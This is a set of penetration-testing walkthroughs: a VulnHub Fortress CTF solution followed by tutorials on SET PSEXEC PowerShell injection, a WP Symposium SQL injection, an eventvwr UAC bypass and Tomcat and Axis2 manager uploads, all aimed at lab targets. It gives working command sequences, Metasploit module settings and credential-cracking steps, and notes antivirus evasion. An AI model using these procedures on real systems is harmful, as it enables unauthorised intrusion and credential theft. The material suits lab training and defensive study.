Hack the Fortress VM (CTF Challenge)

Hello friends today we are going to solve another CTF challenge “FORTRESS” of the vulnhub labs. The level of this challenge is not so tough and its difficulty level is described as medium. Solving this lab will give you a good experience of web penetration testing.

You can download it from here: https://www.vulnhub.com/entry/dc416-2016,168/

Penetrating Methodology

§  Network Scanning (Nmap, netdiscover)

§  Abusing HTTP service (Burp-suite)

§  Generating Dictionary (crunch)

§  Cracking Hash (john the ripper)

§  SSH login

§  Capture the 2^nd flag and 3^rd flag

                                                                         

Let’s Begin!!

Start with netdiscover command to identify target IP in the local network, in my network 192.168.1.109 is my target IP, you will get yours.

netdiscover

Further let’s enumerate open ports and protocols information of the target’s network with help of nmap following command:

nmap -p- -A 192.168.0.109

As shown port 22, 80, 443 are open, let’s penetrate more.

     So we explore target IP in the web browser and welcomed by following image.

After making lots of efforts I decided to use dirbuster for directory brute-force. Type dirbuster on terminal and automatically OWASP dirbuster window gets open. Here browse your dictionary from /usr/share/dirbuster/wordlists and choose your appropriate wordlist as I select medium.txt, do not forget to address target URL in top of text field as: http//192.168.0.109 and finally hit start button.

   Luckily!!! I found something which is scanner.php file.

So when I explored scanner.php in the web browser, it put-up the following web page in front of us.  So when I trigger the localhost IP we got result of Nmap scan which you can perceive from below image. I also tried to breach it through some kind of command injection but hard luck! all seems to be waste here.

Then I decide to capture the HTTP request in burp suite and send the intercepted request into repeater. 

Look over given below image here you will find two panel left and right for request and response respectively.

Type ls as request and click on go tab. This will generate response to request you made.

Request: ls

Response: index.html

k1ngd0m_k3yz

logo.png

s1kr3t

scanner.php

styles.css

So among 4 directories enumerated above, we ran ls command again to check the list of /s1kr3t and found flag.txt as response.

Request: ls

Response: flag.txt

Now repeat the process till last step of making request and getting response through repeater. With help of cat command we found 1^st flag.

 Request: cat flag.txt

Response: FLAG{n0_one_br3aches_teh_f0rt}

Then we try to check list of k1ngd0m_k3yz and found two files inside it.

Request: ls k1ngd0m_k3yz

Response: master and passwd

So I open master file and found a single entry of /etc/passwd file for user craven along with password hash.

Request: cat k1ngd0m_k3yz/master

Let’s copy the hash password in a text file and named it hash.txt

Then I open /k1ngd0m_k3yz/passwd where I didn’t found any remarkable clue.

Then I try to open /etc/passwd file and as you can observe, inside burp response we got the passwd file and I found entry for two local users: vulnhub & craven.

Then, I try to get into /home/craven directory in order to view present list with following request.

Request: ls  /home/craven

Response: I got three files flag.txt, hint.txt and reminders.txt.

First I try to flag.txt but fail to read it, then inside hint.txt we got some hint for user password.

 Then I open reminder.txt file that gave me a list to buy.

Then with help of hint.txt and remainder.txt we have generated a dictionary using crunch. Crunch is a wordlist generator where you can specify a standard character set or a character set you specify.

crunch 10 10 -t %%%qwerty^ > dict.txt

If you remember we have already enumerated hash password for craven from inside k1ngd0m_k3yz/master. Use john the ripper to crack the password with help crunch dictionary generated above.

cd Desktop

 john --wordlist=dic.txt hash.txt

 931qwerty? is password for craven as you can perceive from the given image.

If you remember the result from nmap which shows port 22 is open now try to connect the target through SSH using above credential.

ssh craven@192.168.0.109

Yesss!! We got login successfully, now when I checked the list of current directory, I found flag.txt.

ls

cat flag.txt

Luckily found 2^nd FLAG {w0uld_u_lik3_som3_b33r_with_ur_r3d_PiLL}

It was very tough to get third flag.txt but with help of following command we reached to the final flag.

cd /home

ls             

cd vulnhub

ls

cat flag.txt

./reader flag.txt

For finding 3^rd flag we applied the symlink process and successfully grabbed the last flag also.

cd /tmp

ln /home/vulnhub/flag.txt raj

cd /home/vulnhub

./reader /tmp/raj

Finally I found 3^rd FLAG{its_A_ph0t0_ph1ni5h}

Hack Remote PC using PSEXEC Injection in SET Toolkit

Target: Window Server

Attacker machine: kali Linux

In this article I am going to make powershell injection attack though SEToolkit; for this attack it is necessary that SMB service must be running and you should aware of username and password of your target pc to get the Meterpreter session.

Let’s Begin The Game!!!

Scan the victim IP from NMAP by typing following command on terminal in kali Linux

Nmap –sV 192.168.1.104

 Under version scan it shows port 445 is open and if you are not aware from port protocol services then let me tell you that port 445 is use for SMB protocol for making communication between two different operating systems like as we have Linux and windows. 

Now Click Applications > Exploitation Tools > Social Engineering Toolkit > setoolkit.

A new terminal gets open for setoolkit framework and now you have to follow these steps for making attack on target.

From screenshot you can perceive that it through a menu to select following approach for attack.

Choose penetration testing (fast-track) and type2 for this method.

Fast-Track is an automated penetration suite for penetration testers. So from next screenshot again we have following option, choose PSEXEC Powershell Injection and type 6 for it.

PSEXEC Powershell Injection Attack: This attack will inject a meterpreter backdoor through powershell memory injection. This will avoid Anti-Virus since we will never touch disk or memory. Will require Powershell to be installed on the remote victim machine. You can use either straight passwords or hash values.

Now give following information to execute attack on victim pc.

Enter remote IP as rhost: 192.168.1.104

Enter username: administrator

Enter password: Ignite@1234

 If you don’t know the domain name hit enter only for this and same for random select to number of threads hit enter.

Enter listener IP as lhost: 192.168.1.3

Enter port number: 445

Now this will generate a payload for powershell injection and start loading metasploit framework itself. From below image you will found that through alphabetic shellcode we have got meterpreter session1 open.

Now type sessions to view active session

Further Type sessions –I 1 to get inside meterpreter mode.

Meterpreter> sysinfo

{NOTE: This attack is depending upon the version of SMB PROTOCOL; if version is updated of 2.1 then may be this attack is not successful. Use aggressive scanning method for version detail.} 

Wordpress Penetration Testing using Symposium Plugin SQL Injection

WP Symposium turns a WordPress website into a Social Network! It is a WordPress plugin that provides a forum, activity (similar to Facebook wall), member directory, private mail, notification panel, chat windows, profile page, social widgets, activity alerts, RSS activity feeds, Groups, Events, Gallery, Facebook Connect and Mobile support! You simply choose which you want to activate! Certain features are optional to members to protect their privacy."

Wordpress plugin wp-symposium version 15.5.1 (and probably all existing previous versions) suffers from an unauthenticated SQL Injection in get_album_item.php parameter 'size'. The issue is exploitable even if the plugin is deactivated.

The SQL injection allows (very easily) to retrieve all the database content, which includes users details and password hashes. An attacker may be able to crack users' password hashes and log in as them. If an administrator user password is obtained, then the attacker could take complete control of the Wordpress installation. Collected information may also allow further attacks. 

https://www.exploit-db.com/exploits/37824

Attacker: kali Linux

Target: wordpress

Let start!!!!

Start WPSCAN in kali from following step:

 Now scan the target IP for scanning any wordpress application and type following command

Through this command we are scanning current plugin installed for any wordpress website.

./wpscan.rb –url http://192.1681.0.104 --enumerate p

The red sign indicating wp symposium 15.5.1 is vulnerable and suffers from an unauthenticated SQL Injection although blue sign shows version 15.8 if fixed which is not vulnerable till now.

Now start metasploit for attack and type msfconsole on terminal in kali Linux.

msf > use auxiliary/admin/http/wp_symposium_sql_injection

 msf auxiliary(wp_symposium_sql_injection) >set rhost 192.1681.0.104

msf auxiliary(wp_symposium_sql_injection) >set rport 80

msf auxiliary(wp_symposium_sql_injection) >exploit

Nice!!! Here we found the relevant username and password as user: raj respectively.

Hack Admin Access of Remote windows 10 PC using Eventvwr Registry Key Exploit

First of all, to learn to how to hack victim’s PC click here. After hacking when you have gained a meterpreter session then type:

getprivs

using this command you will confirm the fact that you have not entered the administrator yet. So now, there is no need to worry.

Now use the following exploit

This module will bypass Windows UAC by hijacking a special key in the Registry under the current user hive, and inserting a custom command that will get invoked when the Windows Event Viewer is launched. It will spawn a second shell that has the UAC flag turned off. This module modifies a registry key, but cleans up the key once the payload has been invoked. The module does not require the architecture of the payload to match the OS. If specifying EXE::Custom your DLL should call ExitProcess () after starting your payload in a separate process.

As the command will make our file execute we will have a session with administrator privileges as shown

Penetration Testing in Metasploitable 3 with SMB and Tomcat

Target: Metasploitable 3

Attacker: Kali Linux

Let’s begin through scanning the target IP to know the Open ports for running services. I am using nmap command for scanning the target PC. Type the following command on terminal in kali Linux.

nmap –p- -sV 192.168.1.14

From nmap result we can see port 8282 is open for apache tomcat

Open target IP on browser as 192.168.1.14:8282 Tomcat is running on port 8282, but requires credentials to access.

Now we are going to login with psexec using smb port 445

PsExec>Exec \\192.168.1.14 -u vagrant -p vagrant cmd

This command is addressing the host IP and its credential which I have access from my previous article read from here.

-u for username: vagrant

-p for password: vagrant

cmd:  to enter victim’s command prompt

As I already had a shell, I was able to retrieve the credentials from the tomcat-users.xml file, located at c:\program files\apache software foundation\tomcat\apache-tomcat-8.0.33\conf.

Type tomcat-users.xml

As soon as the command execute you can see I had got credential for tomcat username sploit and password sploit.  Use this credential for attack using metasploit framework in kali Linux

Start metasploit framework by typing msfconsole on terminal in kali Linux when metasploit get loaded type given below command for tomcat attack.

This module can be used to execute a payload on Apache Tomcat servers that have an exposed "manager" application. The payload is uploaded as a WAR archive containing a jsp application using a POST request against the /manager/html/upload component. NOTE: The compatible payload sets vary based on the selected target. For example, you must select the Windows target to use native Windows payloads.

msf > use exploit/multi/http/tomcat_mgr_upload

msf exploit(tomcat_mgr_upload) > set rhost 192.168.1.14

msf exploit(tomcat_mgr_upload) > set rport 8282

msf exploit(tomcat_mgr_upload) > set HttpUsername sploit

msf exploit(tomcat_mgr_upload) > set HttpPassword sploit

msf exploit(tomcat_mgr_upload) > exploit

Wonderful!!! Our meterpreter session is opened and you have got victim shell.

Meterpreter> sysinfo

Another way to exploit your target

This module logs in to an Axis2 Web Admin Module instance using a specific user/pass and uploads and executes commands via deploying a malicious web service by using SOAP.

msf > use exploit/multi/http/axis2_deployer

msf exploit(axis2_deployer) > set rhost 192.168.1.8

msf exploit(axis2_deployer) > set rport 8282

msf exploit(axis2_deployer) >exploit

Awesome!!!  Meterpreter session is opened again and you have got victim shell once again.

Meterpreter> sysinfo

Meterpreter> getuid